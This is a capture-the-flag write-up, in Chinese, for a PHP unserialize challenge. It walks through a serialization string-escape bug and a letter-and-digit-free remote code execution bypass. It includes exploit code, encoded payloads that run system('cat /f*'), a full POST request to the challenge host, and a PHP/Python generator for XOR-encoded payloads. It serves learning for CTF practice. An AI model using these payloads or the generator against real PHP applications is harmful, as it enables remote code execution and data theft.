2023巅峰极客 unserialize wp

后台扫描发现

访问www.zip下载拿到源码my.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php

class pull_it {
private $x;

​ function __construct($xx) {
​ $this->x = $xx;
​ }

​ function __destruct() {
​ if ($this->x) {
​ $preg_match = 'return preg_match("/[A-Za-z0-9]+/i", $this->x);';
​ if (eval($preg_match)) {
​ echo $preg_match;
​ exit("save_waf");
​ }
​ @eval($this->x);
​ }
​ }
}
class push_it {
​ private $root;
​ private $pwd;

​ function __construct($root, $pwd) {
​ $this->root = $root;
​ $this->pwd = $pwd;
​ }

​ function __destruct() {
​ unset($this->root);
​ unset($this->pwd);
​ }

​ function __toString() {
​ if (isset($this->root) && isset($this->pwd)) {
​ echo "<h1>Hello, $this->root</h1>";
​ }
​ else {
​ echo "<h1>out!</h1>";
​ }
​ }





?>

​ index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
include_once "my.php";
include_once "function.php";
include_once "login.html";
session_start();

if (isset($_POST['root']) && isset($_POST['pwd'])) {
$root = $_POST['root'];
$pwd = $_POST['pwd'];
$login = new push_it($root, $pwd);
$_SESSION['login'] = b(serialize($login));
die('<script>location.href=`./login.php`;</script>');
}

?>

function.php

1
2
3
4
5
6
7
8
9
10

<?php
function b($data) {
return str_replace('aaaa', 'bbbbbb', $data);
}

function a($data) {
return str_replace('bbbbbb', 'aaaa', $data);
}
?>

my.php里的pull_it是恶意类,能控制$this->x就能命令执行,这里是无字母数字命令执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
class push_it {
private $root;
private $pwd;

function __construct($root, $pwd) {
$this->root = $root;
$this->pwd = $pwd;
}

function __destruct() {
unset($this->root);
unset($this->pwd);
}

function __toString() {
if (isset($this->root) && isset($this->pwd)) {
echo "<h1>Hello, $this->root</h1>";
}
else {
echo "<h1>out!</h1>";
}
}

index.php里对传入的参数先做序列化存储在$_SESSION里,并用b函数替换字符

当访问login.php时,会先替换字符再做反序列化

a函数和b函数都是字符串替换,数量不一致很明显存在字符串逃逸。一个是b字符串由短变长,第二个a函数是由长变短,我们这里利用a函数

自己的做法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class pull_it {
private $x;
}
class push_it {
private $root='root';
private $pwd='qwe';

}
$a=new push_it();
$b=serialize($a);
echo $b;
//O:7:"push_it":2:{s:13:"%00push_it%00root";s:4:"root";s:12:"%00push_it%00pwd";s:3:"qwe";}

O:7:”push_it”:2:{s:13:”%00push_it%00root”;s:4:”root”;s:12:”%00push_it%00pwd”;s:3:”qwe”;}我们利用这个来逃逸

O:7:”push_it”:2:{s:13:”%00push_it%00root”;s:4:”root**”;s:12:”%00push_it%00pwd”;s:3:”*qwe”;}可以利用的加粗字符数一数有28位,我们就一共要逃逸28个字符,a函数没执行一次会多2位,所以需要重复14次 146=84个b

然后我们要进行构造pwd,pull_it里过滤了超多,是无字符数字rce,这里用到取反

1
2
3
4
5
6
7
<?php
class pull_it {
private $x="(~".~"system".")(~".~"cat /f*".");";
}
$a=new pull_it();
echo serialize($a);
//O:7:"pull_it":1:{s:10:" pull_it x";s:20:"(~������)(~�����);";}

我们现在已经知道了pull_it序列化后字符串的形式了,接下来我们只需要闭合push_it序列化字符串前面的符号即可:

前面逃逸出来的这些字符已经变成username串中的一部分了,我们在pwd中也需要加入这些进行闭合(这里的%00我们不能直接这么写,需要编码后才为%00,所以我们可以先写成\000,这个是8进制的写法,然后编码之后就能转为%00,但是在php中需要使用双引号才能识别\000)
“;s:12:”%00push_it%00pwd”;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class pull_it {
private $x;

function __construct($xx) {
$this->x = $xx;
}
}

echo urlencode("\";s:12:\"\000push_it\000pwd\";".serialize(new pull_it("(~".~"system".")(~".~"cat /f*".");")));



root=bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb&pwd=%22%3Bs%3A12%3A%22%00push_it%00pwd%22%3BO%3A7%3A%22pull_it%22%3A1%3A%7Bs%3A10%3A%22%00pull_it%00x%22%3Bs%3A20%3A%22%28%7E%8C%86%8C%8B%9A%92%29%28%7E%9C%9E%8B%DF%D0%99%D5%29%3B%22%3B%7D

大佬的做法:

利用脚本构造异或的playload:(文章末尾附脚本)

1
2
3
4
("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%03%01%08%00%00%06%00"^"%60%60%7c%20%2f%60%2a");

base64一下
KCIlMDglMDIlMDglMDglMDUlMGQiXiIlN2IlN2IlN2IlN2MlNjAlNjAiKSgiJTAzJTAxJTA4JTAwJTAwJTA2JTAwIl4iJTYwJTYwJTdjJTIwJTJmJTYwJTJhIik7

生成反序列化字符串

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class pull_it {
private $x;
function __construct($xx) {
$this->x = $xx;
}
}
$a= new pull_it(urldecode(base64_decode("KCIlMDglMDIlMDglMDglMDUlMGQiXiIlN2IlN2IlN2IlN2MlNjAlNjAiKSgiJTAzJTAxJTA4JTAwJTAwJTA2JTAwIl4iJTYwJTYwJTdjJTIwJTJmJTYwJTJhIik7")));
echo urlencode(serialize($a));

//O%3A7%3A%22pull_it%22%3A1%3A%7Bs%3A10%3A%22%00pull_it%00x%22%3Bs%3A41%3A%22%28%22%08%02%08%08%05%0D%22%5E%22%7B%7B%7B%7C%60%60%22%29%28%22%03%01%08%00%00%06%00%22%5E%22%60%60%7C+%2F%60%2A%22%29%3B%22%3B%7D

然后逃逸字符,逃逸14个字符,可以在pwd参数位置在本地微调

1
2
3
4
5
6
7
POST /index.php HTTP/1.1
Host: web-898394c697.challenge.xctf.org.cn
Content-Length: 313
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=52q1rf64lljie7ivi6tbte4hnb

root=bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb&pwd=";s:5:"datou";O%3A7%3A%22pull_it%22%3A1%3A%7Bs%3A10%3A%22%00pull_it%00x%22%3Bs%3A41%3A%22%28%22%08%02%08%08%05%0D%22%5E%22%7B%7B%7B%7C%60%60%22%29%28%22%03%01%08%00%00%06%00%22%5E%22%60%60%7C+%2F%60%2A%22%29%3B%22%3B%7D

再访问login.php拿flag,记得带上SESSION

脚本:先php生成文本,再py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php

/*author yu22x*/

$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {

if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[a-z0-9]/i'; //根据题目给的正则表达式修改即可
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}

else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)^urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}

}
}
fwrite($myfile,$contents);
fclose($myfile);

xor.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

import requests
import urllib
from sys import *
import os
def action(arg):
s1=""
s2=""
for i in arg:
f=open("xor_rce.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"^\""+s2+"\")"
return(output)

while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
print(param)